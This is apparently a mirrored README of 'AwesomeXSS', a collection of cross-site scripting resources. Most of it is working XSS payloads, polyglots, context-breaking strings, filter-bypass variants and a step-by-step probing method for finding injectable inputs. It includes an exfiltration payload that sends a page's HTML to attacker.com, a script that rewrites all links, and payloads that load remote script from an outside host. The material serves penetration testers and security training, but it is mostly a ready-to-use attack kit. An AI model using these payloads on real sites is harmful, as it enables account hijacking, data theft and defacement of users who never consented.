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AwesomeXSS

Awesome XSS stuff

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5.1k782101 year agoReviewed by Kitploit

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AwesomeXSS

This repository is a collection of Awesome XSS resources. Contributions are welcome and should be submitted via an issue.

Awesome contents

  • Challenges
  • Reads & Presentations
  • Tools
  • Mind maps
  • DOM XSS
  • Payloads
  • Polyglots
  • Tags and event handlers
  • Context breaking
    • HTML context
    • Attribute context
    • JavaScript context
  • Confirm Variants
  • Exploits
  • Probing
  • Bypassing
  • Encoding
  • Tips & tricks

Awesome Challenges

  • prompt.ml
  • alf.nu/alert1
  • xss-game.appspot.com
  • polyglot.innerht.ml
  • sudo.co.il/xss
  • root-me.org
  • chefsecure.com
  • wechall.net
  • codelatte.id/labs/xss

Awesome Reads & Presentations

  • Bypassing XSS Detection Mechanisms
  • XSS in Facebook via PNG Content Type
  • How I met your girlfriend
  • How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour
  • Blind XSS
  • Copy Pest

Awesome Tools

  • XSStrike
  • BeEF
  • JShell

Awesome XSS Mind Maps

A beautiful XSS mind map by Jack Masa, here

Awesome DOM XSS

  • Does your input go into a sink? Vulnerable
  • It doesn't? Not vulnerable

Source: An input that could be controlled by an external (untrusted) source.

root@kitploit:~
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage

Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.

root@kitploit:~
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location

This comprehensive list of sinks and source is taken from domxsswiki.

Awesome Payloads

root@kitploit:~
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>

Awesome Polyglots

Here's an XSS polyglot that I made which can break out of 20+ contexts:

root@kitploit:~
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Explanation of how it works, here

Awesome Tags & Event Handlers

  • 105 Event Handlers with description
  • 200 Event Handlers without description

Some less detected event handlers

root@kitploit:~
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

Some HTML Tags that you will be using

root@kitploit:~
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video

Awesome Context Breaking

HTML Context

Case: <tag>You searched for $input. </tag>

root@kitploit:~
<svg onload=alert()>
</tag><svg onload=alert()>

Attribute Context

Case: <tag attribute="$input">

root@kitploit:~
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript Context

Case: <script> var new something = '$input'; </script>

root@kitploit:~
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Awesome Confirm Variants

Yep, confirm because alert is too mainstream.

root@kitploit:~
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)

Awesome Exploits

Replace all links
root@kitploit:~
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
Source Code Stealer
root@kitploit:~
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">

Awesome Probing

If nothing of this works, take a look at Awesome Bypassing section

First of all, enter a non-malicious string like d3v and look at the source code to get an idea about number and contexts of reflections.
Now for attribute context, check if double quotes (") are being filtered by entering x"d3v. If it gets altered to x&quot;d3v, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering x'd3v, if it gets altered to x&apos;, you are doomed. The only thing you can try is encoding.
If the quotes are not being filtered, you can simply try payloads from Awesome Context Breaking section.
For javascript context, check which quotes are being used for example if they are doing

root@kitploit:~
variable = 'value' or variable = "value"

Now lets say single quotes (') are in use, in that case enter x'd3v. If it gets altered to x\'d3v, try escaping the backslash () by adding a backslash to your probe i.e. x\'d3v. If it works use the following payload:

root@kitploit:~
\'-alert()//

But if it gets altered to x\\\'d3v, the only thing you can try is closing the script tag itself by using

root@kitploit:~
</script><svg onload=alert()>

For simple HTML context, the probe is x<d3v. If it gets altered to x&gt;d3v, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is x<xxx>. If it gets stripped or altered in any way, it means the filter is looking for a pair of < and >. It can simply bypassed using

root@kitploit:~
<svg onload=alert()//

or this (it will not work in all cases)

root@kitploit:~
<svg onload=alert()

If the your dummy tags lands in the source code as it is, go for any of these payloads

root@kitploit:~
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>

Awesome Bypassing

Note: None of these payloads use single (') or double quotes (").

  • Without event handlers
root@kitploit:~
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
  • Without space
root@kitploit:~
<svg/onload=confirm()>

  • Without slash (/)
root@kitploit:~
<svg onload=confirm()>

  • Without equal sign (=)
root@kitploit:~
<script>confirm()</script>
  • Without closing angular bracket (>)
root@kitploit:~
<svg onload=confirm()//
  • Without alert, confirm, prompt
root@kitploit:~
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
  • Without a Valid HTML tag
root@kitploit:~
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
  • Bypass tag blacklisting
root@kitploit:~
</ScRipT>
</script
</script/>
</script x>

Awesome Encoding

Awesome Tips & Tricks

  • http(s):// can be shortened to // or /\\ or \\.
  • document.cookie can be shortened to cookie. It applies to other DOM objects as well.
  • alert and other pop-up functions don't need a value, so stop doing alert('XSS') and start doing alert()
  • You can use // to close a tag instead of >.
  • I have found that confirm is the least detected pop-up function so stop using alert.
  • Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">

Awesome Credits

All the payloads are crafted by me unless specified.

Download Tool
HTMLCharNumericDescriptionHexCSS (ISO)JS (Octal)URL
&quot;"&#34;quotation marku+0022\0022\42%22
&num;#&#35;number signu+0023\0023\43%23
&dollar;$&#36;dollar signu+0024\0024\44%24
&percnt;%&#37;percent signu+0025\0025\45%25
&amp;&&#38;ampersandu+0026\0026\46%26
&apos;'&#39;apostropheu+0027\0027\47%27
&lpar;(&#40;left parenthesisu+0028\0028\50%28
&rpar;)&#41;right parenthesisu+0029\0029\51%29
&ast;*&#42;asterisku+002A\002a\52%2A
&plus;+&#43;plus signu+002B\002b\53%2B
&comma;,&#44;commau+002C\002c\54%2C
&minus;-&#45;hyphen-minusu+002D\002d\55%2D
&period;.&#46;full stop; periodu+002E\002e\56%2E
&sol;/&#47;solidus; slashu+002F\002f\57%2F
&colon;:&#58;colonu+003A\003a\72%3A
&semi;;&#59;semicolonu+003B\003b\73%3B
&lt;<&#60;less-thanu+003C\003c\74%3C
&equals;=&#61;equalsu+003D\003d\75%3D
&gt;>&#62;greater-than signu+003E\003e\76%3E
&quest;?&#63;question marku+003F\003f\77%3F
&commat;@&#64;at sign; commercial atu+0040\0040\100%40
&lsqb;[&#91;left square bracketu+005B\005b\133%5B
&bsol;\&#92;backslashu+005C\005c\134%5C
&rsqb;]&#93;right square bracketu+005D\005d\135%5D
&Hat;^&#94;circumflex accentu+005E\005e\136%5E
&lowbar;_&#95;low lineu+005F\005f\137%5F
&grave;`&#96;grave accentu+0060\0060\u0060%60
&lcub;{&#123;left curly bracketu+007b\007b\173%7b
&verbar;|&#124;vertical baru+007c\007c\174%7c
&rcub;}&#125;right curly bracketu+007d\007d\175%7d
  • The shortest HTML context XSS payload is <script src=//14.rs> (19 chars)